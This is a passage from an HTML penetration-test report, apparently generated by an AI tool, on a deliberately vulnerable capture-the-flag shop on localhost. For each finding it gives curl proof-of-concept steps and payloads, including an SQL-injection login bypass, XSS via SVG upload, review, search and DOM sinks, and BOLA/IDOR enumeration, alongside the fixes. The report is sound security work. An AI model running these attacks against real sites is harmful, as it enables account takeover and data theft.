class=sumn style=color:#f1c40f>3</div><div class=suml>MEDIUM</div></div><div class=sumbox style=border-color:#3498db><div class=sumn style=color:#3498db>0</div><div class=suml>LOW</div></div><div class=sumbox style=border-color:#7f8c8d><div class=sumn style=color:#7f8c8d>0</div><div class=suml>INFO</div></div></div><h2>Vulnerability Summary</h2><table class=kc><tr><th>#</th><th>Vulnerability</th><th>Severity</th><th>Status</th><th>OWASP / CWE</th></tr><tr><td>1</td><td>API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>2</td><td>SQL Injection Authentication Bypass at POST /login</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>3</td><td>Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A04:2021-Insecure-Design</td></tr><tr><td>4</td><td>Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>5</td><td>IDOR/BOLA on GET /account/invoice/:id — logged-in user views other customers' invoices</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>6</td><td>BOLA on GET /api/v2/orders/:id — any customer reads other customers' orders/invoices</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>7</td><td>Reflected XSS in `q` parameter at GET /shop/search</td><td><span class=sev style=background:#f1c40f>Medium</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-InjectioLine truncated
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Enforce server-side object-level authorization on GET /api/v2/users/:id: reject unless token.id == :id (or token.role == 'admin'). Separately, stop serializing `password` and `apiKey` in any API response (return a DTO with only client-needed fields); store passwords hashed, never in plaintext. Rotate all leaked apiKeys and the admin password.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/users/1 # baseline: 401 (auth required)</pre></li><li><pre class=step>curl -s -c jar -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Pw!1' # get a low-priv customer</pre></li><li><pre class=step>TOK=$(curl -s -b jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+') # customer JWT (role=customer)</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1 # ATTACK: returns admin record incl cleartext password + apiKey</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=admin&password=<leaked>' # CHAIN: log in as admin</pre></li><li><pre class=step>curl -s -b <admin-cookie> http://localhost:3000/admin # full admin panel / all users</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <any valid customer JWT>; GET /api/v2/users/1 (and /2../37 — arbitrary id)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
No token -> HTTP 401 {"error":"missing bearer token"}. With customer JWT (id=36): GET /api/v2/users/37 -> 200 {"id":37,"username":"nrsplt_b10346","email":"nr***@example.test","password":"Pa****!10346","apiKey":"nk_live_9647***",...}. GET /api/v2/users/1 -> 200 admin record {"id":1,"username":"admin","role":"admin","password":"Su************!2024","apiKey":"nk_live_51Hc9***","balance":500000}. Reverse (B token -> id 36) also 200. Repeated 2x, stable. CHAIN: leaked admin password -> POST /login admin -> GET /admin renders full user table (38 users). Screenshot: /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/evidence/bola-admin-takeover.png. PoC: pocs/bola_v2_users.sh</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/bola-v2-users-1.png" alt="proof for API BOLA via sequential numeric IDs at GET /api/v2/users/:id (any customer reads any user, incl. cleartext admin password)"><figcaption>evidence/bola-v2-users-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_v2_users.sh"><code>pocs/bola_v2_users.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 2. SQL Injection Authentication Bypass at POST /login</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>login_sqli_bypass</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/login — POST /login, form field `username` (application/x-www-form-urlencoded). Password ignored once injection comments out the rest of the WHERE clause.</p><h4>What it means</h4><p>Full authentication bypass without credentials. Attacker obtains an authenticated session as the `admin` user (admin role badge, $500000 balance, access to /account/transfer, /account/change-email, /account/api-token). Proven by rendering the authenticated admin /account page. The injectable string terminator also indicates the query is exploitable for further SQLi (data extraction).
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Use a parameterised/prepared query for the credential lookup (bind username as a parameter); never string-concatenate input into SQL. Verify the password with a constant-time hash comparison server-side. Return a generic auth error.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=nobody&password=wrong' # baseline -> 302 /login?err=Invalid credentials</pre></li><li><pre class=step>curl -s -i -c /tmp/c.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'-- -" --data-urlencode 'password=x' # attack -> 302 /account</pre></li><li><pre class=step>curl -s -b /tmp/c.txt http://localhost:3000/account | grep -E 'BURPAT|badge admin|Balance' # returns admin account + flag</pre></li></ol><h4>Payload</h4><pre class=payload>username=admin'-- - & password=x</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline `username=nobody&password=wrong` -> HTTP 302 Location: /login?err=Invalid%20credentials. Attack `username=admin'-- -` -> HTTP 302 Location: /account. GET /account with resulting nimbus.sid cookie returns authenticated admin page: '<div class="alert ok">Logged in via SQL injection auth bypass! Flag: BURPAT{web_sqli_login_bypass_e1ad1d9f}</div>', 'Balance: $500000.00', '<span class="badge admin">admin</span>'. Same request WITHOUT cookie -> 302 /login?next=%2Faccount. PoC: pocs/sqli_login_bypass.sh (run, passes). Screenshot: sqli-login-bypass-admin.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-001-1.png" alt="proof for SQL Injection Authentication Bypass at POST /login"><figcaption>evidence/ns-001-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_login_bypass.sh"><code>pocs/sqli_login_bypass.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 3. Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design · CWE-434</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename></td></tr><tr><td class=fk>Agent</td><td>file_upload</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/support/ticket ; files served at GET http://localhost:3000/uploads/<filename> — POST /support/ticket, multipart/form-data file field `attachment`. No extension/content-type allowlist; file stored verbatim under the original name and served from /uploads/ with a matching executable Content-Type (image/svg+xml for .svg, text/html for .html) and NO Content-Disposition:attachment. CSP only sets `frame-ancestors 'self'` (no script-src), so scripts in the served document run in the localhost:3000 origin.</p><h4>What it means</h4><p>Any unauthenticated visitor can upload a file under an attacker-chosen name that is served same-origin with an executable Content-Type and no download-forcing header. A victim who opens the /uploads/<file> link runs attacker JavaScript in the http://localhost:3000 origin: this can read/steal any non-HttpOnly state, drive authenticated actions as the victim, and — because the session cookie nimbus.sid is HttpOnly but Secure=false/SameSite unset — perform CSRF-style same-origin requests. Measured: alert(document.domain) executed and document.title was rewritten from the served file. No RCE (PHP not executed on this Node stack). Uploaded links also appear in the public 'Recent public tickets' list on /support, so the malicious URL is discoverable, not just direct-link.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Server-side allowlist the accepted attachment types by BOTH extension and sniffed magic bytes (e.g. png/jpeg/pdf/txt only); reject svg/html/xml/php outright. Store uploads under randomly generated names (drop the client filename) in a location served with Content-Type: application/octet-stream AND Content-Disposition: attachment, or from a separate cookieless origin. Do not reflect image/svg+xml or text/html for user uploads. Add X-Content-Type-Options: nosniff and a script-src CSP.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>MARK=nrsplt_fu_demo_$(date +%s)</pre></li><li><pre class=step>printf '<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain+\x27:%s\x27)">%s</svg>' "$MARK" "$MARK" > /tmp/$MARK.svg</pre></li><li><pre class=step># Upload (no auth, no CSRF token required):</pre></li><li><pre class=step>curl -s -i -F "subject=$MARK" -F "body=$MARK" -F "attachment=@/tmp/$MARK.svg;type=image/svg+xml" http://localhost:3000/support/ticket # -> 302 Location:/support</pre></li><li><pre class=step># Fetch the stored file and read the Content-Type:</pre></li><li><pre class=step>curl -s -i http://localhost:3000/uploads/$MARK.svg # -> 200, Content-Type: image/svg+xml, body intact</pre></li><li><pre class=step># Confirm execution: open http://localhost:3000/uploads/$MARK.svg in a browser -> alert('localhost:'+MARK) fires in the localhost:3000 origin</pre></li><li><pre class=step># Arbitrary type also works: repeat with a .html file -> served as text/html</pre></li></ol><h4>Payload</h4><pre class=payload>attachment=@nrsplt_fu_1789871626.svg;type=image/svg+xml with body: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain+':nrsplt_fu_1789871626')"><script>document.title='nrsplt_fu_1789871626'</script></svg> (also proven with an arbitrary .html file served as text/html)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Upload: POST /support/ticket (multipart, attachment=nrsplt_fu_1789871626.svg, type image/svg+xml) -> HTTP 302 Location:/support. Serve: GET /uploads/nrsplt_fu_1789871626.svg -> HTTP 200, Content-Type: image/svg+xml, no Content-Disposition, body returned byte-for-byte with active onload/<script> and marker. Browser (Playwright, Chromium) navigating that URL raised: alert dialog message = "localhost:nrsplt_fu_1789871626" and set document.title to the marker -> JS executed in the localhost:3000 origin. Second proof: arbitrary .html (nrsplt_htmlx_1789871707.html) uploaded -> served Content-Type: text/html -> browser navigation blocked by the file's own alert() (unhandled dialog), confirming script execution. PHP file (nrsplt_php_*.php) was stored and served as application/x-httpd-php but body returned as RAW SOURCE (not executed) -> no RCE on this Node/Express stack.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-fu-01-1.png" alt="proof for Unauthenticated arbitrary file upload at POST /support/ticket leading to stored XSS (SVG & HTML served inline in-origin)"><figcaption>evidence/ns-fu-01-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 4. Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/shop/product/1/review</td></tr><tr><td class=fk>Agent</td><td>xss_stored</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/shop/product/1/review — POST /shop/product/:id/review, form field `text` (textarea name="text"); reflected into the Reviews list `<div class="card"><div>…</div></div>` at GET /shop/product/:id with no HTML encoding</p><h4>What it means</h4><p>Measured: attacker-supplied JavaScript stored server-side and executed in the browser of every visitor of the product page (including unauthenticated visitors — the anonymous GET returns it raw), running in the http://localhost:3000 origin. The page sets session cookie nimbus.sid with HttpOnly=true, so document.cookie theft is blocked, but same-origin script can perform any authenticated action as the viewer (submit reviews, hit /account/* state-changing endpoints, read authenticated pages) and deface the page for all users.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>HTML-entity-encode review text on output when building the review card (the template engine's auto-escaping / a helper like escapeHtml), or render user text as textContent rather than raw HTML. Add a real CSP with a restrictive script-src (no 'unsafe-inline') as defense-in-depth. Do not rely on input filtering.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c /tmp/j -b /tmp/j -X POST 'http://localhost:3000/register' --data-urlencode 'username=nrsplt_x' --data-urlencode 'email=nrsplt_x@example.test' --data-urlencode 'password=Nsplt!123' -o /dev/null # get an authenticated session</pre></li><li><pre class=step>curl -s -c /tmp/j -b /tmp/j -X POST 'http://localhost:3000/shop/product/1/review' --data-urlencode 'text=<img src=x onerror="document.title=%27NSXSS_2903232123%27;window.NSXSS_2903232123=document.domain">' # store payload</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/product/1' | grep -oF '<img src=x onerror="document.title=' # Phase A: payload present unescaped, even without any cookie</pre></li><li><pre class=step>Open http://localhost:3000/shop/product/1 in a browser (or run pocs/stored_xss_product_review.sh) and observe the tab title change to NSXSS_2903232123 and window.NSXSS_2903232123 == 'localhost' # Phase B: JS executed</pre></li></ol><h4>Payload</h4><pre class=payload><img src=x onerror="document.title='NSXSS_2903232123';window.NSXSS_2903232123=document.domain"></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Phase A (stored): anonymous GET /shop/product/1 returns the payload byte-for-byte inside a review card, unescaped: `<img src=x onerror="document.title='NSXSS_2903232123';window.NSXSS_2903232123=document.domain">`. Phase B (executes): headless Chromium load of /shop/product/1 -> document.title became 'NSXSS_2903232123' and window.NSXSS_2903232123 === 'localhost' (document.domain), proving the injected JS ran in page origin. Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src), so inline handlers execute. Submit endpoint returns 302 -> /shop/product/1.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/stored-xss-product-review-1.png" alt="proof for Stored XSS via product review `text` field, rendered unescaped at GET /shop/product/:id"><figcaption>evidence/stored-xss-product-review-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/stored_xss_product_review.sh"><code>pocs/stored_xss_product_review.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 5. IDOR/BOLA on GET /account/invoice/:id — logged-in user views other customers' invoices</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/account/invoice/:id</td></tr><tr><td class=fk>Agent</td><td>bola</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/account/invoice/:id — Path parameter `:id` in GET /account/invoice/:id (session cookie `nimbus.sid`). Auth gate present (302 to /login when anonymous) but no per-object ownership check.</p><h4>What it means</h4><p>Measured: attacker's authenticated session rendered invoices 1001/1002/1003 belonging to alice/bob/carol, disclosing customer name and charged total per invoice. Sequential ids permit harvesting all customers' invoices via the web UI (no API token needed).
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>In the invoice route, after fetching the invoice/order, verify its owner userId matches the session user id (or the session has an admin role) before rendering; return 403/404 otherwise.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c j -d 'username=poc3&email=poc3@example.test&password=Pw!poc3' http://localhost:3000/register -o /dev/null</pre></li><li><pre class=step># attack: curl -s -b j http://localhost:3000/account/invoice/1001 | sed -e 's/<[^>]*>//g' | grep -iE 'invoice #|customer|total'</pre></li><li><pre class=step># repeat 1002 (bob), 1003 (carol)</pre></li><li><pre class=step># control: curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' http://localhost:3000/account/invoice/1001 # 302 -> /login</pre></li><li><pre class=step># read result: page shows 'Customer: alice/bob/carol' and totals not belonging to the logged-in user</pre></li></ol><h4>Payload</h4><pre class=payload>Cookie: nimbus.sid=<attacker session>; GET /account/invoice/1001</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
As logged-in attacker (nrsplt_a_82): GET /account/invoice/1001 -> 200 renders 'Invoice #1001 ... Customer: alice ... Total: $29.99' with app's own message 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. 1002 -> Customer: bob $89.99; 1003 -> Customer: carol $349.00. CONTROL: no session -> 302 Location /login?next=%2Faccount%2Finvoice%2F1001. Non-existent id 1000 -> 404 'Invoice not found'.</pre></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 6. BOLA on GET /api/v2/orders/:id — any customer reads other customers' orders/invoices</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/orders/:id</td></tr><tr><td class=fk>Agent</td><td>bola</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/orders/:id — Path parameter `:id` in GET /api/v2/orders/:id. Requires Bearer JWT but ignores whether order.userId == token.id.</p><h4>What it means</h4><p>Measured: attacker customer (id 39) retrieved orders 1001/1002/1003 belonging to users 2/3/4 (alice/bob/carol) — line items, totals, and internal invoiceNotes. Sequential ids (1001+) allow enumerating all customers' order history and shipping/billing notes.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Add object-level authorization to the orders handler: after loading the order, verify order.userId === req.token.id (or admin) before returning; otherwise respond 403/404. Prefer non-sequential/opaque order ids as defense-in-depth.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c j -d 'username=poc2&email=poc2@example.test&password=Pw!poc2' http://localhost:3000/register -o /dev/null</pre></li><li><pre class=step>T=$(curl -s -b j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]+' | head -1)</pre></li><li><pre class=step># attack: curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1001</pre></li><li><pre class=step># repeat for 1002, 1003 (bob, carol)</pre></li><li><pre class=step># control: curl -s http://localhost:3000/api/v2/orders/1001 # -> 401</pre></li><li><pre class=step># read result: returned order shows userId != 39, i.e. another customer's order data</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <attacker customer JWT>; GET /api/v2/orders/1001</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Attacker id=39. GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"} (owner userId 2=alice). 1002 -> userId 3 (bob) total 89.99. 1003 -> userId 4 (carol) total 349 w/ internal note 'VIP customer, unlimited return window'. CONTROL: no token -> 401. Attacker owns none of these (own order lookup 404). Reproduced x2 identical.</pre></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 7. Reflected XSS in `q` parameter at GET /shop/search</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>0/1 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/shop/search?q=</td></tr><tr><td class=fk>Agent</td><td>xss_reflected</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/shop/search?q= — GET /shop/search, query parameter `q`, echoed into HTML body inside `<p class="lead">Showing results for: <q></p>`</p><h4>What it means</h4><p>Measured: attacker-supplied HTML/JS in the `q` parameter executes in the victim's browser in the localhost:3000 origin when the victim opens a crafted link. Since the session cookie nimbus.sid is HttpOnly, document.cookie theft is limited, but the script runs with full access to the authenticated DOM/session — can perform actions as the victim (add to cart, submit forms, read authenticated page content, drive the /api/v2 or /api/graphql calls the page can make), phishing, and defacement.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>HTML-entity-encode `q` before inserting into the response template (e.g. contextual output encoding / auto-escaping template engine) instead of raw string interpolation. Additionally tighten CSP to include a restrictive `script-src` (drop 'unsafe-inline') so injected inline handlers cannot run as defence-in-depth.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s 'http://localhost:3000/shop/search?q=xss1337test' | grep 'results for' # baseline: canary reflected unencoded</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(0x1337)%3E' | grep 'results for' # attack: payload reflected as a live <img> tag</pre></li><li><pre class=step>Open the attack URL in a browser: http://localhost:3000/shop/search?q=<img src=x onerror=alert(0x1337)> -> alert dialog showing 4919 fires (onerror executed)</pre></li><li><pre class=step>Automated check: bash pocs/reflected_xss_search.sh</pre></li></ol><h4>Payload</h4><pre class=payload><img src=x onerror=alert(0x1337)></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline: `curl 'http://localhost:3000/shop/search?q=xss1337test'` -> body contains `<p class="lead">Showing results for: xss1337test</p>` (canary reflected, HTTP 200, Content-Type text/html). Attack: `q=<img src=x onerror=alert(0x1337)>` reflected verbatim as a LIVE tag: `<p class="lead">Showing results for: <img src=x onerror=alert(0x1337)></p>` — no HTML entity encoding (source even comments `reflected without encoding`). Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src/default-src), so execution is not blocked. Browser proof: headless Chromium (Playwright) navigating the attack URL fired a JS dialog with message `4919` (== 0x1337), confirming onerror executed. Screenshot: reflected-xss-search.png.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/xss-reflected-shop-search-q-1.png" alt="proof for Reflected XSS in `q` parameter at GET /shop/search"><figcaption>evidence/xss-reflected-shop-search-q-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/reflected_xss_search.sh"><code>pocs/reflected_xss_search.sh</code></a></li></ul></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 8. DOM-based XSS via ?name= written to innerHTML on homepage</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>0/1 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/?name=</td></tr><tr><td class=fk>Agent</td><td>xss_dom</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/?name= — GET / , query param `name`. app.js function renderGreeting(): source = new URLSearchParams(window.location.search).get("name"); sink = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! Check out today's deals."</p><h4>What it means</h4><p>Attacker-supplied JavaScript executes in the http://localhost:3000 origin for any victim who opens a crafted /?name=... link. Measured: onerror handler ran, read document.domain (localhost), and could set window state. Session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but in-origin JS can still perform authenticated actions as the victim (call /api/* with their session), read/rewrite page DOM, and phish.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Do not build HTML from the parameter. Replace `el.innerHTML = "Welcome back, " + name + ...` with textContent: set a static text node and insert `name` via `el.textContent` / document.createTextNode, or HTML-encode `name` before insertion. Add a CSP that forbids inline event handlers (script-src without 'unsafe-inline') as defense in depth.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Baseline: curl -s 'http://localhost:3000/app.js' | grep -A3 innerHTML # shows el.innerHTML = "Welcome back, " + name</pre></li><li><pre class=step>Attack (browser required — sink is client-side): open http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22alert(document.domain)%22%3E in Chromium</pre></li><li><pre class=step>Observe: alert box shows 'localhost' -> JS executed in origin http://localhost:3000</pre></li><li><pre class=step>Automated proof: NODE_PATH=/private/var/root/.npm/_npx/9833c18b2d85bc59/node_modules node /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/pocs/dom-xss-name.js # prints 'dialog fired with: localhost'</pre></li></ol><h4>Payload</h4><pre class=payload>http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22alert(document.domain)%22%3E</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
app.js source: `var name = params.get("name"); if(name){ el.innerHTML = "Welcome back, " + name + "! ..."; }` — attacker string concatenated straight into innerHTML, no encoding/sanitization. Headless Chromium load of the payload URL: onerror handler executed — dialog fired with message "localhost", JS marker window.__NSXSS="localhost" set at runtime. Rendered DOM: `Welcome back, <img src="x" onerror="window.__NSXSS=document.domain;alert(document.domain)">! Check out today's deals.`</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/domxss-name-innerhtml-1.png" alt="proof for DOM-based XSS via ?name= written to innerHTML on homepage"><figcaption>evidence/domxss-name-innerhtml-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/dom-xss-name.js"><code>pocs/dom-xss-name.js</code></a></li></ul></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 9. Sensitive Configuration & API Key Exposure at GET /config.json</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A05:2021-Security-Misconfiguration · CWE-200</td><td class=fk>Confidence</td><td>0/1 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/config.json</td></tr><tr><td class=fk>Agent</td><td>login_sqli_bypass</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/config.json — Static file /config.json, JSON keys `supportApiKey` and `analyticsKey` served to any unauthenticated client.</p><h4>What it means</h4><p>Unauthenticated retrieval of a live-prefixed support API key (`nk_live_...`) and the flag confirming the leak. The key is a credential for the support API; disclosure allows impersonating the app to that service. (Key value masked in this report; full value stored in the run.)
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Do not ship secrets in client-served static files. Move server-side secrets to environment/secret store; serve the client only non-sensitive public config. Rotate the exposed `supportApiKey` immediately.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s http://localhost:3000/config.json # returns supportApiKey nk_live_... and flag BURPAT{api_key_leak_config_9d22dadf}</pre></li></ol><h4>Payload</h4><pre class=payload>GET /config.json</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
